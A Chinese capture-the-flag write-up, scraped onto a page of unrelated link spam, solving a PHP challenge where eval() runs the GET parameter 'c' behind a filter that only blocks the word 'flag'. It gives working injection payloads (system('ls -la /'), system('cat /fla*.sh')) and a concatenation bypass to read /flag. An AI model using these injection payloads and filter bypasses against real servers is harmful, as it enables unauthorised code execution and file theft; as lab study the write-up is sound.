当前位置: 首页 > wzjs >正文

域名网站电话广东建设信息网三库一平台官网

域名网站电话,广东建设信息网三库一平台官网,seo的基本内容,logo做ppt模板下载网站前情提要 分享有趣CTF题目&#xff0c;记录学习过程 题目&#xff08;带注释,方便理解&#xff09; <?php // 开启PHP源代码高亮显示&#xff0c;输出当前文件内容&#xff08;用于调试/展示&#xff09; highlight_file(__FILE__);// 关闭所有错误报告&#xff0c;防止敏感…

前情提要

分享有趣CTF题目,记录学习过程

题目(带注释,方便理解)

<?php
// 开启PHP源代码高亮显示,输出当前文件内容(用于调试/展示)
highlight_file(__FILE__);// 关闭所有错误报告,防止敏感信息泄露
error_reporting(0);// 获取GET请求参数'c'的值,用户可通过URL传入代码(如?c=phpinfo())
$c = $_GET['c'];// 检查输入$c中是否包含"flag"字符串(不区分大小写)
// 如果不存在"flag"则执行eval,否则跳过(安全过滤)
if(!preg_match("/flag/i",$c)){// 执行用户输入的PHP代码(存在代码注入漏洞)eval($c);
}// PHP结束标记
?>

题目介绍

此代码:

  1. 高危函数

    • eval():可执行任意代码,是漏洞根源

    • $_GET:直接接收用户输入,未做过滤

  2. 脆弱防护

    • 仅过滤"flag"关键词,可通过拼接/编码绕过

    • 无其他安全限制(如函数黑名单、长度限制等)

典型的代码注入漏洞。eval() 函数执行通过 c 参数传递的任意 PHP 代码

只有一个限制 - 代码不能包含单词 “flag”。

目标

获取隐藏在服务器上的真实 flag(通常格式为 flag{xxx}

初步思考解决方法

  1. 使用其他方法读取文件 

    • scandir() 列出目录内容

    • file_get_contents() 或 readfile() 替换为我们发现的文件名

  2. 绕过 “flag” 限制 

    • 使用字符串连接:fl 银

    • 使用十六进制/八进制编码:\x66\x6c\x61\x67

    • 使用 base64 编码

  3. 有效负载示例 

    • 列出文件: ?c=print_r(scandir('.'));

    • 读取文件: ?c=echo file_get_contents('fl'.'ag.php');

    • 系统命令: ?c=system('ls');

规划流程图

正式解题

1.信息采集

因为是小型比赛,系统不严格,获取信息较为方便。

我们可以通过下面命令查看详细的目录结构

网站网址/?c=system('ls -la /');

作者使用上述方式找到的文件目录

total 76 drwxr-xr-x 1 root root 4096 Jun 21 14:06 . drwxr-xr-x 1 root root 4096 Jun 21 14:06 .. -rwxr-xr-x 1 root root 0 Jun 21 14:06 .dockerenv drwxr-xr-x 1 root root 4096 Jan 31 2019 bin drwxr-xr-x 5 root root 320 Jun 21 14:06 dev drwxr-xr-x 1 root root 4096 Jun 21 14:06 etc -rw-r--r-- 1 root root 43 Jun 21 14:06 flag -rwxr-xr-x 1 root root 78 Jun 18 12:00 flag.sh drwxr-xr-x 1 root root 4096 Jan 31 2019 home drwxr-xr-x 1 root root 4096 Oct 18 2019 lib drwxr-xr-x 5 root root 4096 Jan 30 2019 media drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt dr-xr-xr-x 230 root root 0 Jun 21 14:06 proc drwx------ 1 root root 4096 Jan 31 2019 root drwxr-xr-x 1 root root 4096 Oct 18 2019 run drwxr-xr-x 1 root root 4096 Oct 18 2019 sbin drwxr-xr-x 2 root root 4096 Jan 30 2019 srv dr-xr-xr-x 13 root root 0 Jun 21 14:06 sys drwxrwxrwt 1 root root 4096 Oct 18 2019 tmp drwxr-xr-x 1 root root 4096 Oct 18 2019 usr drwxr-xr-x 1 root root 4096 Jan 31 2019 var

2.定点爆破

根据上述获取的目录结构,找寻带有Flag的文件名称(如果文件过多,可以将所有文件给ai,让ai帮忙找)

很明显上面出现了flag与flag.sh两个关键文件

  1. /flag - 普通文件

  2. /flag.sh - 可执行脚本

3.文件分析

查看flag.sh脚本内容

网站网址/?c=system('cat /fla*.sh');

不出意外直接碰壁,得到了

#!/bin/sh sed -i "s/flag{fakeflag}/$GZCTF_FLAG/" /flag export GZCTF_FLAG=""

上述内容表示flag.sh 会将环境变量 $GZCTF_FLAG 的真实值替换到 /flag 文件中,然后清空该环境变量。

 

4.多种方法集中尝试

使用PHP函数绕过关键词过滤与文件读取限制

网站网址/?c=echo file_get_contents('/fl'.'ag');

得到了 flag{480cb6ab-d6b3-4625-98a3-5a1e45f4ed46}

不出意外成功解题。

小结

看流程图就行了,采用的php函数绕过限制,,成功输出flag。

http://www.dtcms.com/wzjs/802189.html

相关文章:

  • 六安网站建设网络服务wordpress标签加标题
  • 做网站的几个步骤现在怎么做网络推广
  • 做app和做网站企业网站内页设计模板
  • 一个空间可以做多个网站吗如何设计一个企业
  • 制作营销网站模板下载上海建站网
  • 马鞍山建设银行网站做网站要注册商标第几类
  • 企业网站规划wordpress筛选插件
  • 便宜的网站建设公司网站关键词优化难不难
  • 国外html5网站wordpress 输出123456
  • 一个网站主机多少钱一年广告推广网站怎么做
  • 江山市住房和城乡建设局网站孟津网站建设
  • 刚做的网站怎么才能搜索到找人做的网站怎么看ftp
  • 为什么自己做的网站用QQ打不开房子装修设计app
  • 怀柔谁会网站开发网站开发毕业设计答辩
  • 河北省住房和城乡建设厅信用网站vi视觉识别设计公司
  • 网站建设的售后服务怎么写辽宁网站建设企业
  • 网站建设在什么税控盘sem工具是什么
  • 定西市建设网站费用一个完整的活动策划方案范文
  • 免费建个人网站步骤全国高校校园网站联盟建设
  • 网站需要多少钱赚钱软件
  • 贵州域网网站建设众安保险网站
  • 辽宁省工程造价管理总站wordpress 仿站思路
  • 西峰网站建设上海网站建设方案
  • 青岛建设官方网站网站域名备案主机名
  • 网站建设简单吗视频服务器
  • 服务器正常网站打不开如何创建本地站点
  • 双语企业网站源码什么软件可以看网站
  • 长沙县工程建设质监站网站上海网站备案网站
  • 网站友情链接的好处丰顺最新新闻今天
  • 海南城乡与建设厅网站福建seo外包